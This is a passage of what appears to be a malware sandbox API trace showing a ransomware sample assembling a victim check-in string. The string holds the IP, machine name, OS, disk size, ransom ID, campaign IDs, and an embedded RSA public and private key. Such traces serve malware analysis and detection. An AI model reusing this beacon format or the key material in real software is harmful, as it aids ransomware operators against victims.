	[0084.624] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184", lpString2="&id=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id="
	[0084.624] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=", lpString2="19" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19"
	[0084.624] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19", lpString2="&subid=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid="
	[0084.624] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=", lpString2="19" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19"
	[0084.625] VirtualFree (lpAddress=0x3000000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.625] VirtualFree (lpAddress=0x3010000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0084.625] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19", lpString2="&pub_key=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key="
	[0084.625] lstrlenW (lpString="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=") returned 214
	[0084.625] lstrlenA (lpString="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 368
	[0084.625] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x2740000, cbMultiByte=-1, lpWideCharStr=0x1701c4, cchWideChar=368 | out: lpWideCharStr="BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7") returned 0
	[0084.625] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7", lpString2="&priv_key=" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key="
	[0084.625] lstrlenW (lpString="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=") returned 592
	[0084.625] lstrlenA (lpString="BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=") returned 1564
	[0084.625] MultiByteToWideChar (in: CodePage=0xfde9, dwFlags=0x0, lpMultiByteStr=0x2740171, cbMultiByte=-1, lpWideCharStr=0x1704b8, cchWideChar=1564 | out: lpWideCharStr="BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=") returned 0
	[0084.625] lstrcatW (in: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=", lpString2="&version=3.0.0" | out: lpString1="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=&version=3.0.0") returned="ip=87.142.155.213&pc_user=SYSTEM&pc_name=LHNIWSJ&pc_group=WORKGROUP&pc_lang=en-US&pc_keyb=0&os_major=Windows 10 Pro&os_bit=x64&ransom_id=dce1bb8bd2ca4def&hdd=C:FIXED_549227327488/17496797184&id=19&subid=19&pub_key=BgIAAACkAABSU0ExAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7&priv_key=BwIAAACkAABSU0EyAAgAAAEAAQD7GkXLNtUfP+mbxwDG4nBYymcNrCbREVeq55PhUKADfqQwV9VV+uG56VOcG3+aU7Qy1DbILMoWd8VSa/dUpT0Nn51cLYVKn/BMS2EBfK//mQtGBdm8pqbH9fPxEx5h1Jr8EBAoYJnIibxYXJjd78GIfhC0jV0iF+xpho8co9oiZ3z5aWgeTczUTPPlZKh0E3toN3HD3jap0L61xkmCIihcBfLcrZOvI/IIuFEj6J5PwT7cTQxuVerkM2kr2cBp1Gad/2M+7eq9z5yXLbEicw3bQOiDZlbvBXnd/yTcKxjiv6O8M6eiS8YDVo8HFsABZYZKe5s2aAKbnA3fd12Dmgr7NyTrjXCzJRxiRo+ys8FkI7NtQUG69llhqVsv8K3WUjMTxf8v3zdowOMFpZFxfkD5wHVi5clhfH5BsPIqovoqJf7mO6w3eBtHFRB6tzFGJDkFrXeH197+pNT8eVsBRocqUGIPr+xSI6utORJowafbMbTGRZemKu/GrtZx1kyeLP9dJcs/l8vRb9SE3XzpVB13R83EaZNzaJkY1scbAhsr9FB4xKqLkN/7rO/FWjdP3k1lZVdgXj48Qygiz+CAYiPgFa4M9hqUXZXWnUZLCHWeD9nBUNw48M52xsDZu+n88rgVuBAjsOFnih0wlNe4FfZPTgkKw4BsUhmGu8vwxY/a++MeQfhOc1GO4tSvFlAGcnSJ1AqIARwZthuda1AlYYxFWrdrtFPHPYvVaJgepW3Xg6Vepbgb6vZH7wsDZgr7ScDJcArnHbs7nZqndihJesrdRT8eiU/S6kqB5LlL5ptYzLxigb9ieSFf/HBv+y6BpHye3Tlt+DutX+rVxOh1buCcJfi73s6yB7nYorBElmBUkjQDxVxlzBgm2GhRstmVOuGXt3DKYNPNbK8Xlcev/QNKkRoyNUr+tdRbKrWHCsdZunUI3NnFaDhB1CvcDxqO+WoBJblrFW0qSwdPBQZvJEdtbG+NS+nJ8G5YkRZC0l2MNUCNosLCrP74ZFsx1uD0pLQBdXWdKm3SOm96JFg90yhLhTB1cja3RNjCDM/nZbsx1SieKPn+nG2LqB6YgZsVXnh9yLgY3A4vKF4mA7e7lgn9pagcT2BhJHCXeak0xcJYljnVhYLchm+7LIrE7dJ7ZEmWBuJL6waxQz9fZ4dehiAvlkH0Q4tW9ezyn14LRCj9WCVQEOe6PvFYfeeZ4D7tMm5d17wRlE8z1uodXOlRuzHJOoBHPwn0EAmQbyMYWHHpWTWP7OtryVewLonVKqca1JUn8u8cburgounzLKGswFLARliFBghpbweyoV6kocKSUWjoPEzkMM6yB1evuCv6DzJ/dhgEluCZnZXVzJSmVo6DJQuPDsKHRhDu9tSLwwtJXX39f5Vh/k1Hzz43WcnstD/15CmRIvWJ6D8E5EfR3vrO8RpJXWvWHEPYDAIMeubFjboUJjLrhtAHTbfSR5/RYoIjF8AWMVq4FQruty3b1EX/fXmRGPErkTjznvxboSCL5vcc0by7SFa1EcqnPAKJUWk=&version=3.0.0"
